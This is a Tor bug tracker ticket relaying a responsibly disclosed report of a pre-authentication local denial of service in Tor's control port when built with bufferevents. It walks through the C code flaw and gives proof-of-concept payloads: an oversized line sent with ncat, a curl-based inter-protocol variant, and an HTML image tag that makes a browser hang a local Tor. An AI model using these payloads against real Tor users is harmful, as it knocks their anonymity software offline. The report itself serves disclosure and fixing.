[tor-bugs] #18189 [Tor]: Control connection pre-auth local DoS when bufferevents enabled

Tor Bug Tracker & Wiki blackhole at torproject.org
Fri Jan 29 17:41:11 UTC 2016


#18189: Control connection pre-auth local DoS when bufferevents enabled
------------------------+--------------------------------
     Reporter:  asn     |      Owner:
         Type:  defect  |     Status:  new
     Priority:  Medium  |  Milestone:  Tor: 0.2.8.x-final
    Component:  Tor     |    Version:
     Severity:  Normal  |   Keywords:  tor-control
Actual Points:          |  Parent ID:
       Points:          |    Sponsor:
------------------------+--------------------------------
 Here is another report by ''Guido Vranken'' through hackerone. Please
 credit him appropriately.

 BTW, while this is not a serious vulnerability (local DoS), we should
 consider making it even harder for people to enable bufferevents, or
 ripping them out completely, if we don't plan to develop them further in
 the future.

 ---

 == Bug report ==

 In `control.c`, this is the loop that retrieves data from the input buffer
 of the connection, or returns if no complete linefreed-terminated line is
 available (connection_fetch_from_buf_line() returns 0).

 {{{
 4225   while (1) {
 4226     size_t last_idx;
 4227     int r;
 4228     /* First, fetch a line. */
 4229     do {
 4230       data_len = conn->incoming_cmd_len - conn->incoming_cmd_cur_len;
 4231       r = connection_fetch_from_buf_line(TO_CONN(conn),
 4232
 conn->incoming_cmd+conn->incoming_cmd_cur_len,
 4233                               &data_len);
 4234       if (r == 0)
 4235         /* Line not all here yet. Wait. */
 4236         return 0;
 4237       else if (r == -1) {
 4238         if (data_len + conn->incoming_cmd_cur_len >
 MAX_COMMAND_LINE_LENGTH) {
 4239           connection_write_str_to_buf("500 Line too long.\r\n",
 conn);
 4240           connection_stop_reading(TO_CONN(conn));
 4241           connection_mark_and_flush(TO_CONN(conn));
 4242         }
 4243         while (conn->incoming_cmd_len <
 data_len+conn->incoming_cmd_cur_len)
 4244           conn->incoming_cmd_len *= 2;
 4245         conn->incoming_cmd = tor_realloc(conn->incoming_cmd,
 4246                                          conn->incoming_cmd_len);
 4247       }
 4248     } while (r != 1);
 }}}

 If connection_fetch_from_buf_line() returns -1, this means that the buffer
 (conn->incoming_cmd) is not large enough. conn->incoming_cmd_len is then
 increased to a size sufficiently large to hold the incoming command (lines
 4243 - 4246). In order for this to work, data_len must be set to this
 required size by connection_fetch_from_buf_line().

 If libevent bufferevents are not enabled, then
 connection_fetch_from_buf_line() is simply a proxy function for
 fetch_from_buf_line():

 {{{
 3785   }) ELSE_IF_NO_BUFFEREVENT {
 3786     return fetch_from_buf_line(conn->inbuf, data, data_len);
 3787   }
 }}}

 This function will indeed set *data_len to the required size if the
 present buffer size is too small (line 2255):

 {{{
 2241 int
 2242 fetch_from_buf_line(buf_t *buf, char *data_out, size_t *data_len)
 2243 {
 2244   size_t sz;
 2245   off_t offset;
 2246
 2247   if (!buf->head)
 2248     return 0;
 2249
 2250   offset = buf_find_offset_of_char(buf, '\n');
 2251   if (offset < 0)
 2252     return 0;
 2253   sz = (size_t) offset;
 2254   if (sz+2 > *data_len) {
 2255     *data_len = sz + 2;
 2256     return -1;
 2257   }
 2258   fetch_from_buf(data_out, sz+1, buf);
 2259   data_out[sz+1] = '\0';
 2260   *data_len = sz+1;
 2261   return 1;
 2262 }
 }}}

 However, if libevent bufferevents are enabled (by ./configuring tor with
 --enable-bufferevents), then the code on lines (3770 - 3784) is executed
 instead:

 {{{
 3765 int
 3766 connection_fetch_from_buf_line(connection_t *conn, char *data,
 3767                                size_t *data_len)
 3768 {
 3769   IF_HAS_BUFFEREVENT(conn, {
 3770     int r;
 3771     size_t eol_len=0;
 3772     struct evbuffer *input = bufferevent_get_input(conn->bufev);
 3773     struct evbuffer_ptr ptr =
 3774       evbuffer_search_eol(input, NULL, &eol_len, EVBUFFER_EOL_LF);
 3775     if (ptr.pos == -1)
 3776       return 0; /* No EOL found. */
 3777     if ((size_t)ptr.pos+eol_len >= *data_len) {
 3778       return -1; /* Too long */
 3779     }
 3780     *data_len = ptr.pos+eol_len;
 3781     r = evbuffer_remove(input, data, ptr.pos+eol_len);
 3782     tor_assert(r >= 0);
 3783     data[ptr.pos+eol_len] = '\0';
 3784     return 1;
 3785   }) ELSE_IF_NO_BUFFEREVENT {
 3786     return fetch_from_buf_line(conn->inbuf, data, data_len);
 3787   }
 3788 }
 }}}

 Following the size check on line 3777, *data_len is not altered and thus
 remains the same as before the invocation.

 For incoming data larger than the initial buffer size (1024 bytes) and
 contains a linefeed character past 1024 bytes, this sends the control
 connection input routine into an infinite loop.

 == Proof of concept ==
 $ ./configure --enable-bufferevents && make -j4

 Now start tor with this torrc:

 ControlPort 9999

 then in another terminal:

 $ cat genpoc.py
 import sys
 sys.stdout.write((chr(0x63) * 2000) + chr(0x0A) )

 $ python genpoc.py >poc
 $ ncat localhost 9999 <poc

 tor now hangs and has to be killed with force (kill -9 <pid>).

 == Inter-protocol exploit ==

 Since the only two prerequisites of the attack are:

 - Input longer than 1024 bytes
 - Input contains linefeed character after byte 1024

 it's easy to think of other ways of making tor hang than manually creating
 a connection for this purpose.

 {{{
 $ cat genpoc2.py
 print "curl http://localhost:9999/{}".format("x" * 1200)
 $ python genpoc2.py >poc.sh
 $ bash poc.sh
 }}}

 This also causes tor to hang, because curl is sending this to tor:

 {{{
 GET
 /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 HTTP/1.1
 User-Agent: curl/7.35.0
 Host: localhost:9999
 Accept: */*

 }}}

 which is data that adheres to the prerequisites.

 Thus, a person running tor with the control server running locally while
 also using a regular browser can be DoSed via:

 {{{
 html
 <img src='http://localhost:9999/xxxxxxxxxxxxxxxxxxx...'>
 }}}

 Guido

--
Ticket URL: <https://trac.torproject.org/projects/tor/ticket/18189>
Tor Bug Tracker & Wiki <https://trac.torproject.org/>
The Tor Project: anonymity online


More information about the tor-bugs mailing list